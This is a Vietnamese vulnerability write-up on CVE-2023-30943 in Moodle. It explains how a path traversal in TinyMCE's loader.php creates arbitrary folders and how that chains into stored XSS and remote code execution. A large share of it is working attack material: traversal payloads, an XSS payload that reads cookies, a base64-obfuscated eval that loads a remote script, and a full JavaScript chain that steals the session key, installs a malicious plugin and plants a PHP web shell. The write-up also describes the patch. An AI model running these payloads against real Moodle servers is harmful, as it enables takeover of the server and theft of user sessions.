Theo VulnDB, các phiên bản Moodle <= 4.1.2 đều có thể bị khai thác bởi CVE-2023-30943 (Unauthenticated arbitrary folder creation) với mức CVSS là 5.3 (Medium). Nhưng liệu rằng câu chuyện có chỉ dừng lại ở đó?
Ngày hôm nay chúng ta sẽ tìm hiểu về cách mà SonarSource đã RCE được bằng CVE này trong bài viết "Playing Dominos with Moodle's Security (1/2)" của họ.
I. XSS by folder name?
Trong Moodle cho phép các users được phép upload các file types nhất định, và các Administrators được phép quy định các file types được phép, chỉnh sửa các thuộc tính của các file types đó.
Nghiên cứu một chút về class edit_form.php
có đoạn code sau:
/* /admin/tool/filetypes/edit_form.php */
... $fileicons = \tool_filetypes\utils::get_file_icons(); $mform->addElement('select', 'icon', get_string('icon', 'tool_filetypes'), $fileicons); $mform->addHelpButton('icon', 'icon', 'tool_filetypes');
...
Và cả class utils.php
:
/* /admin/tool/filetypes/classes/utils.php */
... public static function get_icons_from_path($path) { $icons = array(); if ($handle = @opendir($path)) { while (($file = readdir($handle)) !== false) { $matches = array(); if (preg_match('~(.+?)(?:-24|-32|-48|-64|-72|-80|-96|-128|-256)?\.(?:svg|gif|png)$~', $file, $matches)) { $key = $matches[1]; $icons[$key] = $key; } } closedir($handle); } ksort($icons); return $icons; } /** * Gets unique file type icons from pix/f folder. * * @return array An array of unique file type icons e.g. 'pdf' => 'pdf' */ public static function get_file_icons() { global $CFG; $path = $CFG->dirroot . '/pix/f'; return self::get_icons_from_path($path); }
...
Có thể thấy folder pix/f/
là nơi chứa các icon cho các filetypes, đồng thời, các icon này được load mà không có bất kì một filter nào, vậy sẽ ra sao nếu ta tạo một file có tên là <input><img src=x onerror="alert(1)">.png
bên trong pix/f
?
Tiếp theo, đến với CVE-2023-30943
II. Arbitrary folder creation
Về bản chất, CVE-2023-30943 này có nguyên nhân chính bởi TinyMCE được tích hợp mặc địch vào Moodle, cụ thể là /lib/editor/tiny/loader.php
và /lib/editor/tiny/lang.php
, trong bài viết này tôi sẽ lấy loader.php
để phân tích.
Func store_filepath_file()
:
... protected function store_filepath_file(): void { global $CFG; clearstatcache(); if (!file_exists(dirname($this->candidatefile))) { @mkdir(dirname($this->candidatefile), $CFG->directorypermissions, true); } ... }
...
Như vậy ta cần kiểm soát được giá trị của $this->candidatefile
thì mới có thể khiến loader.php
tạo folder theo ý muốn. Dựa vào constructor, ta biết được luồng hoạt động của loader.php
:
... public function __construct() { $this->parse_file_information_from_url(); $this->serve_file(); }
...
Đầu tiên, func parse_file_information_from_url()
:
... protected function parse_file_information_from_url(): void { global $CFG; // The URL format is /[revision]/[filepath]. // The revision is an integer with negative values meaning the file is not cached. // The filepath is a child of the TinyMCE js/tinymce directory containing all upstream code. // The filepath is cleaned using the SAFEPATH option, which does not allow directory traversal. if ($slashargument = min_get_slash_argument()) { $slashargument = ltrim($slashargument, '/'); if (substr_count($slashargument, '/') < 1) { $this->send_not_found(); } [$rev, $filepath] = explode('/', $slashargument, 2); $this->rev = min_clean_param($rev, 'RAW'); $this->filepath = min_clean_param($filepath, 'SAFEPATH'); } else { $this->rev = min_optional_param('rev', 0, 'RAW'); $this->filepath = min_optional_param('filepath', 'standard', 'SAFEPATH'); } $extension = pathinfo($this->filepath, PATHINFO_EXTENSION); if ($extension === 'css') { $this->mimetype = 'text/css'; } else if ($extension === 'js') { $this->mimetype = 'application/javascript'; } else if ($extension === 'map') { $this->mimetype = 'application/json'; } else { $this->send_not_found(); } $filepathhash = sha1("{$this->filepath}"); if (preg_match('/^plugins\/tiny_/', $this->filepath)) { $parts = explode('/', $this->filepath); array_shift($parts); $component = array_shift($parts); $this->component = preg_replace('/^tiny_/', '', $component); $this->filepath = implode('/', $parts); } $this->candidatefile = "{$CFG->localcachedir}/editor_tiny/{$this->rev}/{$filepathhash}"; }
...
Thứ nhất, có 2 param truyền vào là rev
, filepath
. Thứ hai, trong rev
có thể truyền vào bất kì vì được parse dưới dạng RAW
, thì filepath
cần phải có .js|.css|.map
để tránh bị trả về 404. Cuối cùng thì $this->candidatefile
sẽ mang giá trị như sau:
<path_to_moodledata_folder>/localcache/editor_tiny/<rev>/<sha1_filepath>
Tiếp theo là serve_file()
:
... public function serve_file(): void { // Attempt to send the cached filepathpack. if ($this->rev > 0) { if ($this->is_candidate_file_available()) { // The send_cached_file_if_available function will exit if successful. // In theory the file could become unavailable after checking that the file exists. // Whilst this is unlikely, fall back to caching the content below. $this->send_cached_file_if_available(); } // The file isn't cached yet. // Store it in the cache and serve it. $this->store_filepath_file(); $this->send_cached(); } else { // If the revision is less than 0, then do not cache anything. // Moodle is configured to not cache javascript or css. $this->send_uncached_from_dirroot(); } }
...
Ta biết thêm một điều kiện nữa là rev
phải có giá trị lớn hơn 0, ta hoàn toàn có thể path traversal bằng cách để một số > 0 đứng đầu, ví dụ:
rev=2/../../../../&filepath=a.js
Giải quyết xong vấn đề của rev
thì ta đến với $this->store_filepath_file()
(bỏ qua đoạn $this->is_candidate_file_available()
vì mục đích cuối của ta không phải tạo ra một $this->candidatefile
có tồn tại).
Vậy là payload để tạo folder của chúng ta sẽ có dạng:
rev=2/path/to/save/folder&filepath=a.js
Vì tôi đang muốn tạo một folder trong pix/f
như phần I, đồng thời đang triển khai Moodle trên local nên, payload sẽ như sau:
rev=2/../../../../html/moodle/pix/f/<input><img src=x onerror="alert(document.cookie)">.png&filepath=a.js
Và đã thành công:
III. RCE
Trong bài viết “Moodle DOM Stored XSS to RCE” của Abdullah Hussam, tôi có chút sửa đổi lại cho phù hợp:
// rce_moodle.js const URL = "http://localhost/moodle/"; // Change this to your target URL
fetch(URL + "admin/tool/installaddon/index.php", { credentials: "include", }) .then((res) => { return res.text(); }) .then((data) => { let sesskey = data.split('"sesskey":"')[1].split('"')[0]; let itemid = data.split("amp;itemid=")[1].split("&")[0]; let author = data.split('title="View profile">')[1].split("<")[0]; let clientid = data.split('client_id":"')[1].split('"')[0]; let url = "data:application/x-zip-compressed;base64,UEsDBBQAAAAAAFy5JlcAAAAAAAAAAAAAAAAEACAAcmNlL1VUDQAHkKT4ZO2k+GTtpPhkdXgLAAEE6AMAAAToAwAAUEsDBBQACAAIALu7JlcAAAAAAAAAAEcAAAAPACAAcmNlL3ZlcnNpb24ucGhwVVQNAAcDqfhkA6n4ZAOp+GR1eAsAAQToAwAABOgDAACzsS/IKFDgUinIKU3PzNO1K0stKs7Mz1OwVTAyMDIwMDU0NjCwRkgn5+cW5Oel5pUAFagn5eQnZ8cXJaeqWwMAUEsHCKl+Yu1AAAAARwAAAFBLAwQUAAAAAABZuSZXAAAAAAAAAAAAAAAACQAgAHJjZS9sYW5nL1VUDQAHi6T4ZIyk+GSLpPhkdXgLAAEE6AMAAAToAwAAUEsDBBQAAAAAAFy5JlcAAAAAAAAAAAAAAAAMACAAcmNlL2xhbmcvZW4vVVQNAAeQpPhkkKT4ZJCk+GR1eAsAAQToAwAABOgDAABQSwMEFAAIAAgAXbwmVwAAAAAAAAAAPAAAABkAIAByY2UvbGFuZy9lbi9ibG9ja19yY2UucGhwVVQNAAcyqvhkMqr4ZDKq+GR1eAsAAQToAwAABOgDAACzsbdNLSrKL4ovSi3ILyrJzEvXMNC0Vom3VVexsdNXj1OvBgJ1a5Vqlfja6PhYDSgjPlbTmgsAUEsHCPNHe6c3AAAAPAAAAFBLAQIUAxQAAAAAAFy5JlcAAAAAAAAAAAAAAAAEACAAAAAAAAAAAADtQQAAAAByY2UvVVQNAAeQpPhk7aT4ZO2k+GR1eAsAAQToAwAABOgDAABQSwECFAMUAAgACAC7uyZXqX5i7UAAAABHAAAADwAgAAAAAAAAAAAApIFCAAAAcmNlL3ZlcnNpb24ucGhwVVQNAAcDqfhkA6n4ZAOp+GR1eAsAAQToAwAABOgDAABQSwECFAMUAAAAAABZuSZXAAAAAAAAAAAAAAAACQAgAAAAAAAAAAAA7UHfAAAAcmNlL2xhbmcvVVQNAAeLpPhkjKT4ZIuk+GR1eAsAAQToAwAABOgDAABQSwECFAMUAAAAAABcuSZXAAAAAAAAAAAAAAAADAAgAAAAAAAAAAAA7UEmAQAAcmNlL2xhbmcvZW4vVVQNAAeQpPhkkKT4ZJCk+GR1eAsAAQToAwAABOgDAABQSwECFAMUAAgACABdvCZX80d7pzcAAAA8AAAAGQAgAAAAAAAAAAAApIFwAQAAcmNlL2xhbmcvZW4vYmxvY2tfcmNlLnBocFVUDQAHMqr4ZDKq+GQyqvhkdXgLAAEE6AMAAAToAwAAUEsFBgAAAAAFAAUAxwEAAA4CAAAAAA=="; fetch(url) .then((res) => res.blob()) .then((blob) => { const file = new File([blob], "rce.zip", { type: "application/x-zip-compressed", }); myFormData = new FormData(); myFormData.append("title", ""); myFormData.append("author", author); myFormData.append("license", "unknown"); myFormData.append("itemid", itemid); myFormData.append("accepted_types[]", ".zip"); myFormData.append("repo_id", 5); myFormData.append("p", ""); myFormData.append("page", ""); myFormData.append("env", "filemanager"); myFormData.append("sesskey", sesskey); myFormData.append("client_id", clientid); myFormData.append("maxbytes", -1); myFormData.append("areamaxbytes", -1); myFormData.append("ctx_id", 5); myFormData.append("savepath", "/"); myFormData.append("repo_upload_file", file, "rce.zip"); fetch( URL + "repository/repository_ajax.php?action=upload", { method: "post", body: myFormData, credentials: "include", } ) .then((res) => { // console.log(res.text()) return res.text(); }) .then((res) => { console.log(res) let zipFile = res.split("draft\\/")[1].split("\\/")[0]; myFormData = new FormData(); myFormData.append("sesskey", sesskey); myFormData.append( "_qf__tool_installaddon_installfromzip_form", 1 ); myFormData.append("mform_showmore_id_general", 1); myFormData.append("mform_isexpanded_id_general", 1); myFormData.append("zipfile", zipFile); myFormData.append("plugintype", "block"); myFormData.append("rootdir", ""); myFormData.append( "submitbutton", "Install+plugin+from+the+ZIP+file" ); fetch( URL + "admin/tool/installaddon/index.php", { method: "post", body: myFormData, credentials: "include", } ) .then((res) => { return res.text(); }) .then((res) => { let installzipstorage = res .split('installzipstorage" value="')[1] .split('"')[0]; myFormData = new FormData(); myFormData.append("installzipcomponent", "block_rce"); myFormData.append("installzipstorage", installzipstorage); myFormData.append("installzipconfirm", 1); myFormData.append("sesskey", sesskey); fetch( URL + "admin/tool/installaddon/index.php", { method: "post", body: myFormData, credentials: "include", } ).then(() => { fetch( // create /readme.php file, delete blocks/rce/lang/en/block_rce.php to prevent error at admin site. URL + "blocks/rce/lang/en/block_rce.php?_=system&__=echo%20%27%3C%3Fphp%20system%28%24_GET%5B%22_%22%5D%29%3F%3E%27%20%3E%20%2Fvar%2Fwww%2Fhtml%2Fmoodle%2Freadme.php%3B%20rm%20-rf%20%2Fvar%2Fwww%2Fhtml%2Fmoodle%2Fblocks%2Frce" ); }); }); }); }); });
Payload:
rev=2/../../../../html/moodle/pix/f/<input><img src=x onerror='eval(atob("dmFyIG5ld1NjcmlwdCA9IGRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoInNjcmlwdCIpOyBuZXdTY3JpcHQuc3JjID0gImh0dHA6Ly9sb2NhbGhvc3Q6ODAwMS9yY2VfbW9vZGxlLmpzIjsgbWFpbmNvbnRlbnQuYXBwZW5kQ2hpbGQobmV3U2NyaXB0KTsK="))'>.png&filepath=a.js
Và thành công tạo readme.php
:
IV. Patch
Nguyên nhân gốc rễ nhất vẫn là cách mà loader.php
và lang.php
xử lý param truyền vào, khi mà rev
lại được xử lý là RAW
, vì vậy, bên phía Moodle đã vá trong phiên bản 4.2.2 như sau:
Khi rev
được chuyển về INT
thì ta không còn có thể “thao túng“ nó được nữa!
V. References
-
“Playing Dominos with Moodle's Security (pt.1/2)” by Yaniv Nizry (sonarsource.com)
-
“Moodle DOM Stored XSS to RCE” by Abdullah Hussam (cube01.io)